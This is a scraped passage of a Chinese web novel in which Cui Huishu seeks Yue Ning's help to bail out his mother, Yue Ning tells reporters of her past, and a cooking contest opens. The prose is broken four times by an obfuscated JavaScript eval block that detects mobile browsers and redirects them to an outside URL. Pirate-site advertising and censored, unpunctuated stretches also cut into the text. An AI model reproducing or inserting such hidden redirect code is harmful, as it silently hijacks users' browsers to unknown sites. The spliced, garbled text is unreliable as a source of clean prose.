崔慧书就这么看着他爸的三太虎着一张脸出了病房。 三太在病房门口看见崔慧书冷笑了一声：“慧书啊！你来看爸爸了？还是来问他要钱的？我都要不到钱你妈把你爸都弄残废了你还想要钱？” 崔慧仪到病房门口说：“还不滚？” 说完她看着崔慧书：“慧书你来做什么？” “二姐……我……”崔慧书看见这个见面从来就没一句好话的二姐就害怕更何况刚才连三太都没能要到钱他怎么可能要到？ “进来吧！”崔慧仪带着崔慧书进来。 崔家昌已经出了ICU转入普通病房这间病房是一个套房外面有个客厅可以给病人或者病人家属休息和接待甚至办公用。 崔家昌转入普通病房她们姊妹俩如今也算是港城红人看在她们姊妹俩面子上前来探望的人不少。崔慧文忙得脚不点地崔慧仪还有点时间就过来接待来访的客人。 访客可以在这里聊两句病人的病情里面是病房崔家昌躺在里面。 崔家昌意识清楚不会说话手脚能动却不受控制甚至连大小便都没办法控制作为一个前半生呼风唤雨的人面临这样情况他悲苦难耐这跟活**有什么区别？ 医生和女儿们一再劝他这已经是他最好的状况了等脑子里水肿退了 他在他们谈话中知道了最好的情况他能拄着拐棍走路他能口齿不清地说话他能自己大小便。 他都这样了陆云芳一共就来了两次一次顺带过来这次是来讨生活费。 就算他对陆云芳冷淡了这些年又不少她们母女俩吃穿？该给的也全给了也想着要安排她们母女去加拿大。就像慧仪说的那样母女俩手里也有存款就现在的生活水平两三年总归没问题的。她就迫不及待地来问慧仪要了？ 崔家昌竖着耳朵听好像慧书来了。 “慧书去见见爸爸他最疼你了。”崔慧仪跟崔慧书说。 崔慧书走到里 间门口的看着躺在床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915456|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的爸爸。 爸爸是很疼他整天跟他说他是崔家唯一的儿子让他要做好继承崔家家业的准备。 自己也很努力地念书也想做爸爸的好儿子但是无论他怎么念书在爸爸嘴里还是会说：“如果慧仪是男孩儿就好了。” 妈妈让他在爸爸面前多表现多跟爸爸谈一些看法自己却不太愿意跟爸爸多说说得好爸爸还高兴一会儿说得不好爸爸火大起来就把气撒在妈妈身上问她为什么生了这么一个连姑娘都不如的东西。 尤其是爸爸从内地回来之后这句话就挂在嘴上甚至还会说起妈妈在内地的时候生的那个女儿说那个女儿也如何如何出色。 后来那个女儿也来了港城自己就一直在电视上看见她他不如二姐也不如那个女儿他就是谁都不如。 他妈一直希望爸爸来他倒是希望爸爸别来他妈说爸爸要送他们去加拿大就为了甩开他们他倒是觉得如果去加拿大可以远离港城的一切那该多好？ “进去啊！爸爸好几天看不到你他肯定想你了呀！你是崔家唯一的男丁。”崔慧仪说。 崔慧书被崔慧仪逼着到崔家昌的床前。 崔家昌不知道女儿说那些话是真心实意还是阴阳怪气他见到了儿子他唯一的儿子。 崔慧书看着躺在病床上的人叫：“爸爸。” “爸慧书说他妈进去了 小说更新，记住域名ｃａｉｘｓ?(请来才 小说 看最新章节 完整章节)家里的佣人和司机都在问他要钱我想这样处理把他那里的司机和佣人都遣散了然后把慧书送到大宅去。”崔慧仪跟崔家昌说。 她这两天正头疼等崔家昌出院了怎么办？ 别说她姐出嫁了不好带她爸就算没有出嫁就算她姐也不想跟她爸住一起。 自己更不可能跟他爸一起了。她爸现在这样分配确实是把烂摊子给了她们姐妹俩却也是把绝大部分的家业给了她们。把她爸一个人送回家外面男人三妻四妾多的是站在那群男人的角度就是她们姐妹俩没良心。 现在好了崔慧书来了。崔慧书本来就是她爸最爱的儿子俞婉媚还进去了没人照顾。他们父子俩住一起她爸也不孤单了也有儿子可以天天看了。她们姊妹俩也可以安心地工作了偶尔去大宅看看就好了。 崔慧书脱口而出：“我去大宅？” “对啊！你妈面临判刑你还未成年 ，当然跟爸爸一起住。崔慧仪一口咬定，“要不然你去哪儿？ “我……崔慧书性格就是如此，哪里敢跟二姐反驳？他点头，“好。 “那行！ “谢谢二姐。崔慧书不想待在这里，他怕爸爸，同样也怕这个二姐，他说，“二姐，那我先回去了。 崔慧仪带着秘书送他到门口，跟司机说：“你先送大少爷回去，朱小姐会去了解情况，下午来找你们，有什么问题你们跟朱小姐说，不要吓到小朋友。 “二小姐，怎么会呢？我们只是要我们的工钱。 “那就好。 跟司机说完，崔慧仪对崔慧书说：“慧书，你跟他回家。 送走崔慧书，崔慧仪回来打电话。 里面的崔家昌想说，他不想跟儿子住一起，他想……他听外面在打电话的女儿，他也没脸跟女儿说，让女儿回家来陪他，更何况他现在连话都不会说。 后面，接连两个崔记的经销商来探望。等送人出门，崔慧仪又接了一个公司的电话，放下电话，见乔君慎提了袋子进来。 第100章 崔慧书找岳宁 崔慧仪问：“拿的什么？” “午饭啊！”乔君慎把袋子打开拿出饭盒，打开盒子，一股香气袭来。 崔慧仪饿了。 她走过去，乔君慎正在把鲍鱼连带汤汁，倒在饭上，再加上和牛片和鹅肝，最后他把一个煎得极嫩的荷包蛋给盖饭上。 乔君慎把勺子和筷子递给她：“我妈近期最爱，天天吃，我爸说她最近吃得快双下巴出来了，她都不认。” 崔慧仪坐下正要开拌，只见他把剩下的一份菜一股脑儿倒进饭里，所以他给她的饭弄那么精致，不是多此一举？ 崔慧仪一口饭吃进去，说：“看来我也要天天吃了。也太好吃了。” “牛肉和鹅肝刚刚出锅的时候才叫好吃，我妈每天开车过去吃。” “等我忙完，我跟叶姨一起去吃。”崔慧仪又吃了一大口。 “就想着跟我妈去吃？”乔君慎给她打开汤盒，里面是清淡的胜瓜竹荪汤。 “对啊！我本来就要跟你妈请教市场方向。” 乔君慎看着正在低头吃饭的崔慧仪，狠狠地挖了一大勺饭，吃着。 崔慧仪跟他说刚才陆云芳和崔慧书要钱的事。 听见崔慧仪把崔慧书安排进崔家大宅，乔君慎很意外：“你这是做什么？” 崔慧仪叹了一声：“那天晚上，我爸来找我，刚好大姐也在，我爸对着我发了一通脾气，大姐彻底看清了他。我们姊妹俩像小时候一样，躺在一张床上，细数小时候，发现自从妈妈和外公外婆葬在了一起，我们平时都去上坟，很少回大宅。这栋大宅，也是我爸发家之后建的。在这栋大宅里，我妈变得神经质，我姐也不开心，我变得性格尖锐。我爸的大宅，就让他和他儿子去住吧！” “也好。让崔慧书住进崔家大宅，也算是遂了你爸的心愿。” 不能说话，耳朵不聋的崔家昌听见了这话，想要捶床，手又没力气。他现在一点都不想让崔慧书进大宅，那是他和彩英的地方，也是要给两个女儿的。 门开着，朱小姐敲了敲门，崔慧仪抬头，朱小姐走进来：“崔小姐，我去了趟律师楼，跟律师去了趟惩教署，让律师跟俞婉媚说明了情况。现在的情况是俞婉媚确实没多少现金，她这些年炒股亏了不少。” “难道结清工人的钱都没有吗？” “有，但是她没有钱付保释金。” “那就在里面等开庭。”崔慧仪耸肩。 “崔少爷，我先让他整理一下日常用品，等四点让司机去接他到大宅。 崔慧仪皱眉：“他是饭来张口，衣来伸手的大少爷，什么都不会。让大宅的铃姐去帮他整理。 朱小姐一愣，那也是个比她还高的少年了，这点事都不会？ “好的！我马上安排。 * 崔慧书跟着司机回家，没多久**律师和他二姐的秘书就来了，律师受他妈委托，解决了家里的司机和佣人，朱小姐让他四点之前收拾好日常用品，等下他爸的司机来接他。 平时他只要读好书，只要学骑马、练钢琴、学哥而夫，他根本不知道什么是日常用品，就是每天穿哪件衣服，都是睁眼就摆着的。 妈妈进去了，他已经手足无措了，当司机走了，佣人走了，他又要去大宅。 大宅给他最深的印象是七年前大姐出嫁的时候，他去大宅，他妈告诉他，以后大宅是他的。 可他知道，根本不是那样的。本来爸爸是让自己去做大姐的送嫁舅，但是大姐无论如何都不要，听说父女俩吵到，爸爸说如果不让他做送嫁舅，爸爸就不出席婚礼了。大姐一口答应，说没有爸爸她也可以结婚。 他们母子能去大宅参加大姐的婚礼，已经是大姐让步的结果，连送嫁都让，谈什么大宅是他的。 现在二姐让他跟爸爸一起住进大宅，他很惶恐，但是他又不知道该怎么办？律师告诉他，他妈妈没有交保释金，暂时，甚至到被判决都不能回来，他的监护人是他爸爸，他爸爸现在行动不便，都是两个姐姐在做主，他的事也是姐姐做主。面对二姐他不敢反驳，也没办法反驳。 崔慧书上楼下楼，不知道自己该怎么收拾，他看到桌上的一张报纸，报纸上写着“厨王大赛排期出炉，首场宁宴与春光楼对决 对啊！妈妈还有个女儿，那个女儿现在很厉害。就像大姐二姐平时再恨爸爸，爸爸出事了，她们还是会陪着爸爸。 这个岳宁是妈妈的亲生女儿。 崔慧书像是找到了一棵救命稻草，他要去找妈妈的女儿，把妈妈保释出来。 崔慧书从书包里拿出钱家，跑出了家门，他甚至没意识到，现在家里已经没有佣人了，家门要锁，就这么出门了，叫了一辆的士，到了宁宴。 他走进宁宴底楼接待厅，穿着暗蓝色制服的礼宾小姐，接受过突发状况的培训，培训 里说遇到醉酒的，遇到寻衅滋事的，遇到捉奸的…… 但是没说过遇到十几岁的少年该怎么办？礼宾小姐很客气地问：“先生，你好！” 崔慧书被人问，他有些害怕，但是比起让他去大宅，他还是坚定了想法，说：“你好，我是来找我爸爸的，妈妈让我来找他，我妈妈头疼得厉害。” 礼宾小姐认为头疼应该先去看医生，但是一看这是个十几岁的少年，可能一下子六神无主，她叫来保安，让保安带着这个少年去找。 礼宾还嘱咐：“尽量不要打扰客人。” 保安陪着崔慧书去，这个时候还是试营业，大厅也就十来桌，崔慧书看了一圈，他摇头：“不在这里。” 这是辉煌，他妈妈这些年一直在辉煌，他熟悉这里的格局，姐姐是厨师，他得找机会去后厨找姐姐。 “我带你去包房找。只能上菜的时候，从包房门口往里看，知道吗？”保安跟他说。 “好的。” 崔慧书跟着保安去包房看，看了两间，到第三间，保安跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915457|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口的适侍应生说了一下，侍应生说：“这里宁宁在招待内地来的领导，你去其他地方找。” 听见“宁宁”两个字，崔慧书推开了包厢的门，他的对面就是曾经见过一面的岳宁。 崔慧书大叫一声：“姐姐，救救妈妈。” 岳宁和赵熙如一起回了一趟粤城。 岳宁去问宋自强要人， 宋自强是个小心谨慎的人，他言语里，要看反馈，要慢慢来。岳宁那里能等他慢慢来？她邀请宋自强带队来港城实地考察，看看她是不是需要这些人，看看粤城的人是不是在这里能学到真本事。 岳宁还请了粤省进出口公司的领导，还有周家父女作陪。 农副产品都归口于二商局，宋自强和粤省进出口公司的领导也是好朋友，有他们带领参观，进出口公司的领导说着，岳宁给他们在展会上推销产品取得的效果，还有签署的一系列长期合作协议，高兴地合不拢嘴。 宋自强还听说福运楼的马耀星明天要代表宁宴参加厨王大赛，更是高兴。岳宁邀请他明天去现场观看比赛，他一口答应。 当然对于整个粤城餐饮业来说别说十几二十几个厨子了，百个千个也派得出来。很多国营饭店的人听见有这个机会，都在打听，市里也急切，那么多的下乡知青急需安排，要是能多出来几个人，也多了几个坑，可以有 人填进去。 “宁宁，你要多少，我给你送多少。 宋自强话音刚刚落下，岳宁正要以茶带酒敬宋自强，就这么看见了崔家昌家的耀祖，对着她大喊，让她救崔俞婉媚。 问题是，今天要陪领导，爷爷也在场。 岳宁站了起来，沉声：“出去说话。 保安一看坏了，这个孩子不是来找爸爸的，是来找宁宁的，吓得头上冒汗，反手就拉住崔慧书，崔慧书好不容易鼓起的勇气，他再叫：“姐姐，求求你，救救妈妈，给妈妈付保释金，让妈妈出来，好不好？ 本来他就大叫了一声，引起了大厅里的人侧目，现在又喊，目光全部集中过来。 岳宁闭眼，在一个城市，就怎么都避不开。她说：“你先去我办公室，我马上就过来。 周老爷子记得董晓梅，岳宁私下跟老爷子说过崔家昌的二太太就是她妈董晓梅这件事，不想让爷爷为这么个垃圾烦心，周老爷子理解她，自然答应。 她说：“周爷爷，您跟宋局长聊一回，我和爷爷去处理这件事。 周老爷子拍岳宝华的肩：“宝华，孩子的孝心。 有这么一声大喊，再想俞婉媚对着宁宁失神，对宁宁欲言又止的那些姿态，这几天崔家的事在风口浪尖，自己几次跟宁宁闲聊，宁宁只说崔家的生意，谈及俞婉媚，都是略微聊两句就不想聊了。他以为孩子不喜欢说人长短，还为自己乱嚼舌根而愧疚，却没想到有这一层的关系。 岳宁过来扶着岳宝华：“爷爷，去我办公室。 岳宝华回神：“好！ 第101章 听岳宁讲过去的事情 岳宁出了包房，看着大厅和其他包房的人往他们祖孙俩这里看来。 她进入办公区，路过苏菲的门口：“苏菲姐，通知一下HTV，有新闻。” 苏菲还在处理公务，她走过来：“什么大新闻？” “我是崔二太俞婉媚的亲生女儿，这个大新闻。” 苏菲傻眼又立马反应过来：“我马上通知。” 岳宁和岳宝华进入办公室，刚才还特别有勇气的崔慧书，这会儿像个泄气的皮球，坐在沙发上。 岳宁瞥了他一眼，去打电话，打电话去立德，立德的人说崔小姐在医院，她让立德的人立马通知崔慧仪，说崔慧书来找她了。 崔慧仪刚刚接到大宅佣人铃姐的电话，说俞婉媚那里门开着，人不见了，她正着急上火骂人：“一个两个不能给我省省心。” 又接到公司来的电话，她问：“崔慧书去宁宴了，找宁宁去给他妈交保释金？” 崔慧仪摔了电话，跟朱小姐说：“Linda，你留在这里，跟来访的客人说，我去找大少爷了。” “大少爷去哪儿了？” “去宁宴了。我没时间跟你解释，估计等下就满城风雨了，你都能知道了。”崔慧仪拿起包就往外走。 躺在床上的崔家昌听见这些话，发现老天怎么没有让他一下子摔死，还要让他面对这些破烂事？ 崔慧仪开车去宁宴，HTV的记者已经进去了，闻风而来的记者，也被邀请了几个，其他人只能在宁宴外头等消息了。 看见她下车，立马冲过来，崔慧仪说：“我也想知道是什么个情况，让我先进去。” 崔慧仪快步往岳宁的办公室去，到办公室门口，里面边上已经挤着记者，崔慧书已经吓坏了，蜷缩在角落。 “崔慧书，你来这里做什么？”崔慧仪心头火都喷出来了，“大姐忙着救崔记，我又要立德又要管爸爸，还要接待来探望的访客，还得应付他的女人来要钱。你妈进去了，等宣判，宣判了还要服刑，总不能让你一个人住吧？我让你去大宅，委屈你了？” 岳宁拉住崔慧仪：“他想要保释他妈，他认为他妈撞得他爸成这个样子，你恨他妈肯定不会帮他，所以他来找我。” 崔慧仪激动地骂：“你凭什么认为宁宁会帮你妈？宁宁没有拿刀捅了你妈，已经是她太善良了。” 岳宁强按住崔慧仪：“慧仪姐，你先坐下。崔慧书只听你爸和 他妈提起我是她的亲生女儿他并不知道全部的真相。十几岁的少年遇到这种事想要找人保他妈出来这也能说得过去。咱们心平气和地把事情说清楚。” 崔慧仪坐下岳宁再次看向电视台和报纸的记者：“我有三点申明第一崔慧书不可以出镜他还未成年。第二我保证所说都是我所知道的真实情况。第三我不需要公众为我主持公道只是不希望以讹传讹。” 电视台和报纸都点头。 岳宁在爷爷身边坐下：“崔慧书任何一个小朋友叫我‘姐姐’我都会欣然接受。唯独你这声‘姐姐’ 岳宁这次回粤城又去了福运楼跟他们闲聊的时候说起当时董晓梅将她送人的事才知道那时候的惊险董晓梅把她送给一个老婆子那个老婆子原本要把她送给乡下的亲戚幸亏爸爸去得及时才抢了回来。 “西北的路很远很长除了火车汽车还要一路走进去我爸抱着我背着我拖着我山一程水一程到了小杨沟。”岳宁回忆起小杨沟的日子自己一个狗崽子被人看不起爸爸做着最脏最累的活晚上脱下衣服扁担磨破了肩膀上的皮血肉粘住了衣服。 她像是说着别人的事其他人听得掉眼泪。 “我跟你差不多的年纪我爸病了他看病吃药出不了工最后人还没了。我要面对的是我没有爸爸了而且他还欠下两年的工分。就一百来块钱但对我来说是一个天文数字。傻子妈来找我让我给他们家二傻子做媳妇他们家帮我还欠大队里的工分。我不愿意她在大队里传我克父。我发誓一定会还上钱可那个地方又不能做生意只能靠劳力来还。我拼了命要拿一等工分我拼了命要拿先进。狼群来偷羊外头狗在叫羊在哀嚎我也怕我冲出去了……”穿着短袖的岳宁给他们看手臂上已经平下去的那道白色的疤痕“我和大黑鲜血淋漓但是我们把狼赶跑了保住了大队的羊得到了表扬这对我这个狗崽子来说多么重要？” “你以为我天生力气那么大吗？我能把一个壮汉举起来吗？穷地方娶不到老婆的光棍不要太多。我这样的孤女有多少人觊觎？我只有一个信念只要我够强就没人敢惹我。我能活到我爷 爷来找我，并不容易。”岳宁弯腰问崔慧书，“你知道，我们父女经历的这些苦难都是拜谁所赐？” 崔慧书蜷缩着不敢回答。 岳宁直起腰来：“在北京的时候，你妈当然知道岳宝华的孙女就是她女儿。我也认出她了，我不想让我爷爷知道，那个害死我爸爸，害得我颠沛流离，尝尽苦难的女人，活得好好，还就在他身边，是他的熟人。我私下警告你爸妈，不要让我爷爷知道。我以为大家只要不来往就好了。” 岳宁长长地叹了一口气：“直到我和慧仪姐合作，要推宝华楼联名的速食面，你妈找人在试制品里放硼砂，试图让不懂这方面的慧仪姐同意用这个配方。幸亏我提早发现，若是到了量产，再爆出来，你姐锒铛入狱，我名声狼藉。而你可以顺利继承崔家所有的资产。那天我去质问你妈，你也在。你妈怎么说的？你妈说：‘不是说没有关系吗？各自为自己的利益。’。这就是你妈！为了利益，可以丧尽天良。你妈对你来说是妈，对我来说是恶魔。” 岳宁问他：“崔慧书，你明白为什么，我不许你叫我‘姐姐’？你还想我拿钱出来保释你妈吗？” 说的域名ｃａｉｘｓ．ｃｏｍ?(请来才小 说 看最新章节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915458|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完整章节) 崔慧书早就吓得魂都快掉了，他怎么敢再说话？ “崔慧书啊！就我这边已经知道你妈干了多少脏事了。不要说她跟了你爸这么多年，又生了你这么个儿子，还是你爸唯一的儿子。这家酒楼怎么会从红红火火到出售的，不用我说吧？你爸怎么会半死不活的？你也知道吧？你想想，这么多年她会怎么对大太太和慧文慧仪？”岳宁看着他，“到今天，慧文姐还愿意拼命奔走救崔记，慧仪姐还愿意在你妈进去了，你爸半死不活的时候，安排你的去处，已经是她们心胸宽广，心地善良了。你说你不想去大宅，你想你妈出来。一句话不说，跑来找我。你给她们添了多少麻烦？” 二姐会骂人，他以为岳宁应该会比二姐好说话，她确实不骂人，确实心平气和地说，但是说得他不敢开口。 崔慧仪站了起来：“还坐在那儿干嘛？走了。” 崔慧书站起来，崔慧仪跟岳宁说：“宁宁，我们走了。” “去吧！” 岳宁送他们出门，岳宁回头记者立马说：“硼砂是崔俞婉媚让人下的？” “当时这件事，被市场上的硼砂食品问题给淹没了，也就没有多少影响，但是我和崔慧仪是推演了整个事件的过程， 也找崔家昌和崔俞婉媚对质过。也因为这件事，崔慧仪对她父亲失望，不惜父女反目争夺立德。” 岳宁回答了，转头看岳宝华，岳宝华对着墙，后背在抖动。 她自己抹了一下眼睛：“抱歉，今天就到这里好吗？我需要缓一缓。” 苏菲在电视台做了这么多年，她关系深厚，过来说：“宁宁怕谣言漫天，才这样澄清，请大家也谅解一下，她再坚强，再冷静也只是一个十八岁的少女。” 苏菲把人都请了出去，岳宁过去抱住爷爷：“爷爷，都过去了。都过去了，好吗！” 岳宝华抱着孩子哭：“宁宁啊！你应该第一时间就告诉我。” 岳宁抱住他：“告诉您，除了让您更痛苦，没有其他好处。” 岳宝华抹了眼泪，拉起孙女的手臂，看着上面这条已经不太明显的伤疤。孩子一直说小杨沟多少人帮助她，很少说她遇到的苦难，可……岳宝华眼睛又模糊了。 岳宁抽了纸巾给爷爷擦眼泪：“她自己终究把自己害进去了。而且，今天崔慧书来这么一出，港城是英美法律体系，有陪审团制度，**会影响最后裁决，无论陪审员里女性占多数，还是男性占多数，她都被厌恶，恶人自有天收。” 女性会共情崔太太和崔家姊妹，还有心疼她，男性未必会共情她爸，但是一定会共情崔家昌。而且，俞婉媚被判刑之后，还要面临服刑，这个年代港城的监狱，是什么样的？她进去了，能不能出来，就不好说了。 岳宝华反应过来，原来孩子叫来电视台，不仅仅是怕谣言？而是要制造**，影响陪审团的裁决？ 第102章 大赛首场 HTV的采访组回去立马发新闻，傍晚五点档，HTV率先发了完整的采访记录。 电视里还有崔慧仪没赶来之前的镜头。 崔慧书以背影出现在镜头里，岳宁给他倒了一杯水，让他有话慢慢说。 少年定神之后说出他的来意，爸爸现在躺在床上，不能说话也不能动，二姐要把家里的司机和佣人全部遣散，让他去大宅，他不想去大宅，他要妈妈。 岳宁问他，他知道他妈犯法了吗？他说知道，但是律师说，如果有钱就能保释出来等待开庭。 岳宁又问他，为什么不想去大宅？他说大妈和姐姐们不喜欢他。 这些问完，崔慧仪也就到了，崔慧仪那个火急火燎的样子，也倒是验证了崔慧书上面的话。大房的姐姐不喜欢这个弟弟。 大房的子女不喜欢二房子女，这也说得过去。 岳宁坐下说话了，她说话不急不慢，她说爸爸的时候，脸上露出大家最最熟悉的孺慕神情，几乎每一次采访，她都会提爸爸和莫伯伯。 前些日子叶家养女一家子来港城也有报道，观众看到了一对儒雅的学者，岳宁的那位莫伯伯甚至比岳宁形容的，还要风度翩翩，让人感觉古代的谦谦君子有了实际的样子。 有岳宝华和岳宁祖孙俩参考，有牛河邦和周老爷子的证词，师奶们都知道了岳宁的爸爸是一个手艺好到极点的厨子，也是一个特别愿意教人的厨子。 她们想象中的岳志荣是一个长相俊朗，温柔又高大的年轻男子。 听见岳志荣肩膀上皮肉粘连衣服，师奶们心疼，眼泪吧嗒吧嗒，抽了一张又一张纸巾，她说到岳志荣**，师奶们的心揪起来了，那么好的岳志荣**，剩下只有才十三岁的宁宁，一个小孩子可怎么活啊！ 孩子告诉她们自己怎么活下来，尤其她带着笑说自己和大黑鲜血淋漓，因为受到表扬而开心的时候，师奶们都哭出声了。后面还有更让她们震惊的，原来那里有很多娶不到老婆的光棍，她们的宁宁才十三四岁啊！ 宁宁问出来“我们父女俩的苦难拜谁所赐？”的时候，师奶们牙根痒痒地，恨不能去撕烂那个毒妇。 呜呜呜……宁宁是最最好的孩子，她还怕爷爷伤心难过，不许俞婉媚说。 那个毒妇啊！她怎么能收买人下硼砂？害大房的女儿，还要害宁宁。 原来这才是崔家父女斗法的背后原因。 是 啊！这个女人干了那么多的恶事。她还生了崔家昌唯一的儿子为了争夺家产怎么可能不陷害大房母女？大房这些年过得有多惨？崔慧仪这个刻薄脾气也是被逼出来的。 新闻后还有财经人士分析崔慧仪接手立德时候立德已经衰败成什么样了？ 立德食品啊！牛奶饼干和葱香苏打那是大家童年的记忆自从项立德**之后就一年不如一年了直到崔慧仪接手圆仔面成了立德食品的新代表立德又回到了大众的眼里。 这位还分析了崔记的当前状态比崔慧仪接手立德的时候好不了多少。所以姊妹俩不是继承了家业而是接手了烂摊子力挽狂澜。 有了HTV这个开头港城这个开放又封建包容又势力的城市把崔家昌起家到老泰山死后风流无度的事全都挖了出来说他夜路走多了遇到鬼了就像《画皮》里的王生带了一只画皮鬼回家。 **一边倒地怒骂俞婉媚。 岳宁第二天要出发去《港澳厨王大赛》录制现场被记者们逮了个正着她接受采访说：“‘昨天我也是带着情绪在说话苦难不假但是小杨沟也有好心人给了我很多帮助告诉你们一个好消息曾经帮过我的老光棍阿根叔找到女朋友了。我得跟你们说一下他的故事。” 岳宁粗略说了阿根叔的故事开心地说：“乔君贤正在办手续把他们接到鹏城以后他们在乔君贤的工厂里做工会过上好日子的。我爸爸没了还有莫伯伯疼我。来港城之后我很幸福有了爷爷还有很多长辈和朋友还有太多太多我不认识的人喜欢我。谢谢大家的关心！” 她又把手放在胸口：“我现在好紧张等下我阿明叔和阿星要跟春光楼的老师傅们比赛了。” “有信心赢吗？”记者问她。 岳宁摇头：“没有抽签之后我特地去春光楼吃了一顿。他们的饭菜也很好吃呢！深井烧鹅的调味和脆皮都很棒菠萝咕噜肉也是我的拿手菜他们家的这道菜 说全网首发无弹窗免费阅读ｃａｉｘs?(请来才小 说 看最新章节 完整章节)里面放了糖渍柚子皮给了我一种新的味道。我肯定是希望宝华楼能赢但是如果输给春光楼的老师傅……不行不行现在还没比赛呢！宝华楼会赢。就这样了！” 岳宁跟记者摆手去鸿安大酒店接了宋自强和随行的两位同志再去录制现场。 场上两个参赛队已经到了岳宁跟阿明和阿星招手抽到这么强劲的对手 ，岳宁昨天只能跟他们说尽力就好。 岳宁看见春光楼的老板，过去打招呼：“德叔。” “这次抽签真的不巧。”春光楼的老板也带着参赛人员到宝华楼吃饭。 岳宁索性让阿明和阿星搭档给他们做了菜，这倒是弄得春光楼的刘老板不好意思了。岳宁请这位老板一起去办公室喝茶，刘老板聊着聊着就说对宝华楼的巡台很感兴趣。 岳宁邀请他，晚市来参加一下巡台，她亲自陪同刘老板巡台，还跟他解释要怎么巡台，怎么避免无效巡台。 刘老板诧异，岳宁为什么愿意讲这么清楚？ 上辈子宁宴被称为粤菜的黄埔军校，厨子、服务人员、管理人员，都是被同行挖的对象，出去了那么多的人，宁宴还是宁宴。 就像汽车行业的一个老兄抱怨：“我们国内的汽车厂，天天喊着管理学丰田，学来学去，最后还是员工加班和供货商降价用得最顺溜。” 这话固然有点偏激，不过也是现实。 岳宁当时跟刘老板说：“港城发展这么好，不能你好我好，难道非要你死我活？” 聊着聊着，这刘老板就叫她“宁宁”，她叫刘老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915459|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板“德叔”。 “德叔，我回座位了，还有内地来的客人呢！” “去吧！等你忙完，来我那儿喝茶。” 岳宁过去陪着宋自强坐一起，往演播现场看去。 这已经第三届厨王大赛了，第一届比赛场地选了参赛队里提供的厨房，最后出现设施提供方，为了淘汰强队，里面做手脚的事故。第二届，蔡致远通过鸿安大酒店拉来了酒店设备供货商的赞助，从他们的展厅借来了两整套厨房设备，搭起了演播室。 岳宁这次给蔡致远提了一下，让主持人上台就念赞助商的名字，一定要给足赞助商出镜率，处处打LOGO。 蔡致远还觉得这样商业化不好，岳宁跟他说：“赚钱吗？有什么不好意思的？” 果然，蔡致远也就扭捏一下，这不全上了。 今天的比赛，两道前菜，两道热菜，一道羹汤，一道主食。 所有原料必须由大赛提供。粤省进出口公司也是今天的赞助商，鸡鸭鱼肉全是他们的赞助，另有海味行，调味料公司赞助，这次是崔记的对手新益调味品公司赞助。 受限于拍摄时长，各家也不愿意在镜头下展示烧腊、炖鲍鱼这些看家菜的配方，基本上只能用新鲜料做新鲜菜。 两支参赛队伍的参赛选手介绍好了之后，主持人送上他们各自带的两种辅料。 但是为了让各自酒楼不失去其本身风味，每家允许自带两种辅料，可以是配菜，也可以是调料。 春风楼的大师傅，带了他们春风楼的两种秘制调料，秘制调料一出，大家都猜出来，春风楼的前菜就是秘制叉烧和玫瑰露豉油鸡了。 宝华楼展示了两样，一个白白胖胖的馒头，一包辣椒粉，现场的评委和观众大吃一惊。 主持人把话筒递给阿明：“张大厨，能告诉我们这是什么吗？” “这是宁宁做的西北白面蒸馍馍，这是宁宁请进出口公司从西北弄过来的西北秦椒面。”阿明看向春风楼的老师傅说，“跟前辈同台，我特别紧张，宁宁没办法，给我做了白面馍馍，让我做配菜，也算是她陪着我们上场了。这个辣椒面，确实很香，我们宁宴几个红油凉菜就是用它。” 粤菜不带辣，但是岳宁是西北来的粤菜厨子，这么多年的饮食习惯已经把她带偏了。当日接待叶家人，宴席上出现了臊子面、肉夹馍和洋芋擦擦，除了给莫维**的，是完全按照西北味道来的，其他桌的这三个菜品，都是岳宁根据港城人的口味进行改良了。 肉夹馍本来就在展会上大受欢迎，广大食客强烈要求宝华楼出这三个菜品，那就上了。 岳宁尝了进出口公司给她送来的广西隆林黑山羊羊肉，这个羊肉，肉质细嫩，味道鲜美，膻味极小，她推了西北的手抓羊肉，吃羊肉喝羊汤，再配上特色的蘸料，蘸料里就有这个辣椒面。 